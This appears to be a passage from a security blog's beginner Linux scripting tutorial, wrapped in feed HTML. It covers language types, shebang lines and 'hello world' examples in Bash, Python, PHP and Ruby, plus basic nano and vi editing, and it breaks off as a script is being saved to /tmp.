tag:blogger.com,1999:blog-3439423679413205232024-03-13T23:01:16.995+02:00Alexander Korznikov. A bit of security.nopernikhttp://www.blogger.com/profile/11549169563852115328noreply@blogger.comBlogger62125tag:blogger.com,1999:blog-343942367941320523.post-30761007719390888282022-04-08T04:26:00.000+03:002022-04-08T04:26:25.865+03:00#HOWTO #Linux: Scripting<p dir="ltr" style="line-height: 1.38; margin-bottom: 3pt; margin-top: 0pt; text-align: justify;"><span style="background-color: transparent; color: black; font-size: 13pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: Roboto Mono;">Scripting</span></span></p><p><span style="font-size: 11pt; font-weight: 700; text-align: justify; white-space: pre-wrap;"><span style="font-family: Roboto Mono;">Intro.</span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: left;"><span style="background-color: transparent; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: Roboto Mono;">There are a lot of programming languages, for simplicity, we will group them:</span></span></p><ul style="margin-bottom: 0px; margin-top: 0px; padding-inline-start: 48px;"><li aria-level="1" dir="ltr" style="background-color: transparent; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: left;"><span style="background-color: transparent; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: Roboto Mono;">Low level language (Assembler)</span></span></p></li></ul><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 36pt;"><span style="background-color: transparent; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: Roboto Mono;">It's a language that can be understood by the CPU.</span></span></p><ul style="margin-bottom: 0px; margin-top: 0px; padding-inline-start: 48px;"><li aria-level="1" dir="ltr" style="background-color: transparent; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: left;"><span style="background-color: transparent; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: Roboto Mono;">Compiled Languages such as C/C++</span></span></p></li></ul><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-left: 36pt; margin-top: 0pt; text-align: left;"><span style="background-color: transparent; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: Roboto Mono;">It’s high level code, that prior execution, must be transformed (compiled) into low-level language.</span></span></p><ul style="margin-bottom: 0px; margin-top: 0px; padding-inline-start: 48px;"><li aria-level="1" dir="ltr" style="background-color: transparent; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: left;"><span style="background-color: transparent; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: Roboto Mono;">Interpreted Languages such as Bash, Python, Perl, C# and a lot more.</span></span></p></li></ul><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 36pt;"><span style="font-size: 13.3333px; text-indent: 0px; white-space: pre-wrap;"><span style="font-family: Roboto Mono;">These languages use pre-compiled “programs” that “transform” (interpret)</span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: left; text-indent: 36pt;"><span style="background-color: transparent; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-size: 13.3333px;"><span style="font-family: Roboto Mono;">high-level language into low-level language in real-time (runtime).</span></span></span></p><p style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: left;"><span style="font-size: 10pt; text-align: justify; white-space: pre-wrap;"><span style="font-family: Roboto Mono;"><br /></span></span></p><p style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"></p><div style="text-align: left;"><span style="font-size: 10pt; white-space: pre-wrap;"><span style="font-family: Roboto Mono;">To be honest, the higher the language is, the lower its performance.</span></span></div><span style="background-color: transparent; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><div style="text-align: left;"><span style="font-size: 10pt;"><span style="font-family: Roboto Mono;">So, if we compare Python with Assembler for matter of speed, Assembler will always win.</span></span></div></span><p></p><p style="text-align: left;"><span style="font-size: 12pt; font-weight: 700; text-align: justify; white-space: pre-wrap;"><span style="font-family: Roboto Mono;"><br /></span></span></p><p style="text-align: left;"><span style="font-size: 12pt; font-weight: 700; text-align: justify; white-space: pre-wrap;"><span style="font-family: Roboto Mono;">Bash.</span></span></p><p style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: transparent; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: Roboto Mono;">Look at the terminal window and say: “Hello bash!”.</span></span></p><p style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: transparent; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: Roboto Mono;">Yes, your dark terminal window is handled by one of various shells: sh, bash, zsh, ash or another *sh.</span></span></p><p style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: Roboto Mono;"><span style="background-color: transparent; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The most popular of the above - </span><span style="background-color: transparent; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">bash</span><span style="background-color: transparent; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, but it’s not guaranteed that in some linux/unix distribution there will be such.</span></span></p><p style="text-align: left;"><span style="font-size: 10pt; text-align: justify; white-space: pre-wrap;"><span style="font-family: Roboto Mono;">There are two types of executable files in linux (execute permission set):</span></span></p><ol style="margin-bottom: 0px; margin-top: 0px; padding-inline-start: 48px; text-align: left;"><li aria-level="1" style="background-color: transparent; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; text-decoration: none; vertical-align: baseline; white-space: pre;"><p role="presentation" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: Roboto Mono;"><span style="background-color: transparent; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Compiled low-level executable, also known as </span><span style="background-color: transparent; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ELF binary</span></span></p></li><li aria-level="1" style="background-color: transparent; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; text-decoration: none; vertical-align: baseline; white-space: pre;"><p role="presentation" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: Roboto Mono;"><span style="background-color: transparent; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Text-file with</span><span style="background-color: transparent; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> script program</span><span style="background-color: transparent; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> of the supported languages..</span></span></p></li></ol><p style="text-align: left;"><span style="font-family: Roboto Mono;"><span style="font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; text-align: justify; vertical-align: baseline; white-space: pre-wrap;">Script</span><span style="font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-align: justify; vertical-align: baseline; white-space: pre-wrap;"> is a line-by-line execution of commands.</span></span></p><p style="text-align: left;"><span style="font-size: 10pt; text-align: justify; white-space: pre-wrap;"><span style="font-family: Roboto Mono;">Almost any script looks like a text-file with instructions, while first line of the file must be similar to these:</span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: transparent; color: black; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: Roboto Mono;"><br /></span></span></p><div style="text-align: left;"><span id="docs-internal-guid-b2ca1979-7fff-53be-349d-af0cfe521788"><span style="background-color: #efefef; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: courier;">#!/bin/bash</span></span></span></div><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: #efefef; color: black; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: courier;">#!/usr/bin/python3</span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: #efefef; color: black; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: courier;">#!/usr/bin/ruby</span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: #efefef; color: black; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: courier;">#!/usr/bin/perl</span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: courier;"><span style="background-color: #efefef; color: red; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">#!</span><span style="background-color: #efefef; color: black; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">/other/interpreter/for/this/script</span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: #efefef; color: black; font-size: 12pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: courier;">#!</span></span><span style="background-color: transparent; color: black; font-family: "Roboto Mono"; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> - a.k.a. </span><span style="color: #202122; font-family: "Roboto Mono"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; text-align: left; vertical-align: baseline; white-space: pre-wrap;">shebang</span><span style="color: #202122; font-family: "Roboto Mono"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-align: left; vertical-align: baseline; white-space: pre-wrap;"> is a </span><span style="font-family: "Roboto Mono"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-align: left; vertical-align: baseline; white-space: pre-wrap;">special instruction for bash-shell, instructing which program will handle the remaining lines of the file.</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: "Roboto Mono"; font-size: 12pt; font-weight: 700; white-space: pre-wrap;"><br /></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: "Roboto Mono"; font-size: 12pt; font-weight: 700; white-space: pre-wrap;"><br /></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: "Roboto Mono"; font-size: 12pt; font-weight: 700; white-space: pre-wrap;">“Hello world” Examples in different languages:</span></p><p><span style="font-size: 10pt; font-weight: 700; text-align: justify; white-space: pre-wrap;"><span style="font-family: Roboto Mono;">Bash:</span></span></p><div align="left" dir="ltr" style="margin-left: 0pt;"><table style="border-collapse: collapse; border: none; table-layout: fixed; width: 468pt;"><colgroup><col></col></colgroup><tbody><tr style="height: 0pt;"><td style="background-color: #4c1130; border-bottom: solid #cccccc 1pt; border-color: rgb(204, 204, 204); border-left: solid #cccccc 1pt; border-right: solid #cccccc 1pt; border-style: solid; border-top: solid #cccccc 1pt; border-width: 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: transparent; color: #76a5af; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: courier;">#!/bin/bash</span></span></p><span style="font-family: courier;"><br /></span><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: courier;"><span style="background-color: transparent; color: #9fc5e8; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">echo</span><span style="background-color: transparent; color: #f3f3f3; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #ffe599; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">'hello world!' #this is a comment</span></span></p></td></tr></tbody></table></div><p><span style="font-size: 10pt; font-weight: 700; text-align: justify; white-space: pre-wrap;"><span style="font-family: Roboto Mono;">Python:</span></span></p><div align="left" dir="ltr" style="margin-left: 0pt;"><table style="border-collapse: collapse; border: none; table-layout: fixed; width: 468pt;"><colgroup><col></col></colgroup><tbody><tr style="height: 0pt;"><td style="background-color: #4c1130; border-bottom: solid #cccccc 1pt; border-color: rgb(204, 204, 204); border-left: solid #cccccc 1pt; border-right: solid #cccccc 1pt; border-style: solid; border-top: solid #cccccc 1pt; border-width: 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: transparent; color: #76a5af; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: courier;">#!/usr/bin/python3</span></span></p><span style="font-family: courier;"><br /></span><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: courier;"><span style="background-color: transparent; color: cyan; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">print</span><span style="background-color: transparent; color: #f3f3f3; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">(</span><span style="background-color: transparent; color: #b6d7a8; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">'hello world!'</span><span style="background-color: transparent; color: #f3f3f3; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">) #this is a comment</span></span></p></td></tr></tbody></table></div><p><span style="font-size: 10pt; font-weight: 700; text-align: justify; white-space: pre-wrap;"><span style="font-family: Roboto Mono;">PHP:</span></span></p><div align="left" dir="ltr" style="margin-left: 0pt;"><table style="border-collapse: collapse; border: none; table-layout: fixed; width: 468pt;"><colgroup><col></col></colgroup><tbody><tr style="height: 0pt;"><td style="background-color: #4c1130; border-bottom: solid #cccccc 1pt; border-color: rgb(204, 204, 204); border-left: solid #cccccc 1pt; border-right: solid #cccccc 1pt; border-style: solid; border-top: solid #cccccc 1pt; border-width: 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: transparent; color: #76a5af; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: courier;">#!/usr/bin/php</span></span></p><span style="font-family: courier;"><br /></span><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: transparent; color: #b6d7a8; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: courier;"><?php</span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: courier;"><span style="background-color: transparent; color: #9fc5e8; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">echo</span><span style="background-color: transparent; color: #f3f3f3; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #ffe599; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">"hello world!\n"</span><span style="background-color: transparent; color: #f3f3f3; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">; //this is a comment</span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: transparent; color: #b6d7a8; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: courier;">?></span></span></p></td></tr></tbody></table></div><p><span style="font-size: 10pt; font-weight: 700; text-align: justify; white-space: pre-wrap;"><span style="font-family: Roboto Mono;">Ruby:</span></span></p><div align="left" dir="ltr" style="margin-left: 0pt;"><table style="border-collapse: collapse; border: none; table-layout: fixed; width: 468pt;"><colgroup><col></col></colgroup><tbody><tr style="height: 0pt;"><td style="background-color: #4c1130; border-bottom: solid #cccccc 1pt; border-color: rgb(204, 204, 204); border-left: solid #cccccc 1pt; border-right: solid #cccccc 1pt; border-style: solid; border-top: solid #cccccc 1pt; border-width: 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: transparent; color: #76a5af; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: courier;">#!/usr/bin/ruby</span></span></p><span style="font-family: courier;"><br /></span><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: courier;"><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">puts</span><span style="background-color: transparent; color: #f3f3f3; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">(</span><span style="background-color: transparent; color: #b6d7a8; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">'hello world!'</span><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">);</span></span></p></td></tr></tbody></table></div><p><span style="font-size: 10pt; text-align: justify; white-space: pre-wrap;"><span style="font-family: Roboto Mono;">That’s pretty simple, with one exclusion: the syntax (rules) of each language differs. But when you learn the syntax of one programming language it is quite easy to learn another language.</span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: transparent; color: black; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: Roboto Mono;">Let’s save one of the scripts to a file, set execute permission and finally execute it.</span></span></p><p><span style="font-family: "Roboto Mono"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-align: justify; vertical-align: baseline; white-space: pre-wrap;">In </span><span style="font-family: "Roboto Mono"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; text-align: justify; vertical-align: baseline; white-space: pre-wrap;">Ubuntu linux</span><span style="font-family: "Roboto Mono"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-align: justify; vertical-align: baseline; white-space: pre-wrap;"> there are at least two programs that are able to edit text files in terminal: </span><span style="background-color: #efefef; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; text-align: justify; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: courier;">nano</span></span><span style="font-family: "Roboto Mono"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-align: justify; vertical-align: baseline; white-space: pre-wrap;"> and </span><span style="background-color: #efefef; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; text-align: justify; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: courier;">vi</span></span></p><p><span style="font-size: 10pt; font-weight: 700; text-align: justify; white-space: pre-wrap;"><span style="font-family: Roboto Mono;"><br /></span></span></p><p><span style="font-size: 10pt; font-weight: 700; text-align: justify; white-space: pre-wrap;"><span style="font-family: Roboto Mono;">Editing files with “nano”:</span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: transparent; color: black; font-family: "Roboto Mono"; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Open file: </span><span style="background-color: #efefef; color: black; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: courier;">nano filename</span></span><span style="background-color: transparent; color: black; font-family: "Roboto Mono"; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> & edit the contents</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: Roboto Mono;"><span style="background-color: transparent; color: black; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Exit nano: </span><span style="background-color: #efefef; color: black; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Ctrl+X</span><span style="background-color: transparent; color: black; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> -> then </span><span style="background-color: #efefef; color: black; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Y</span><span style="background-color: transparent; color: black; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> to save the file</span></span></p><p><span style="font-size: 10pt; font-weight: 700; text-align: justify; white-space: pre-wrap;"><span style="font-family: Roboto Mono;">Editing files with “vi”:</span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: transparent; color: black; font-family: "Roboto Mono"; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Open file: </span><span style="background-color: #efefef; color: black; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: courier;">vi filename</span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: Roboto Mono;"><span style="background-color: transparent; color: black; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Edit: Press </span><span style="background-color: #efefef; color: black; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Insert key</span><span style="background-color: transparent; color: black; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> and edit the contents. When finished press </span><span style="background-color: #efefef; color: black; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Esc Key</span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: transparent; color: black; font-family: "Roboto Mono"; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Save and quit: Enter </span><span style="background-color: #efefef; color: black; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: courier;">:wq</span></span><span style="background-color: transparent; color: black; font-family: "Roboto Mono"; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> then press </span><span style="background-color: #efefef; color: black; font-family: "Roboto Mono"; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Enter Key</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: transparent; color: black; font-family: "Roboto Mono"; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">In the following example, i have saved our first Bash script in </span><span style="background-color: #efefef; color: black; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: courier;">/tmp/myscript.sh</span></span><span style="background-color: transparent; color: black; font-family: "Roboto Mono"; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">:</span></p><div align="left" dir="ltr" style="margin-left: 0pt;"><table style="border-collapse: collapse; border: none; table-layout: fixed; width: 468pt;"><colgroup><col></col></colgroup><tbody><tr style="height: 0pt;"><td style="background-color: #4c1130; border-bottom: solid #cccccc 1pt; border-color: rgb(204, 204, 204); border-left: solid #cccccc 1pt; border-right: solid #cccccc 1pt; border-style: solid; border-top: solid #cccccc 1pt; border-width: 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: courier;"><span style="background-color: transparent; color: #93c47d; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">user@ubuntu</span><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">:</span><span style="background-color: transparent; color: #6fa8dc; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">/home/user</span><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">$ cd /tmp</span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: courier;"><span style="background-color: transparent; color: #93c47d; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">user@ubuntu</span><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">:</span><span style="background-color: transparent; color: #6fa8dc; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">/tmp</span><span style="background-color: transparent; color: white; font-size: 10pt; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">$ nano /tmp/myscript.sh</span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: transparent; color: #f3f3f3; font-size: 10pt; font-style: italic; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span style="font-family: courier;">--*--*--*--</span></span></p><p dir="ltr" 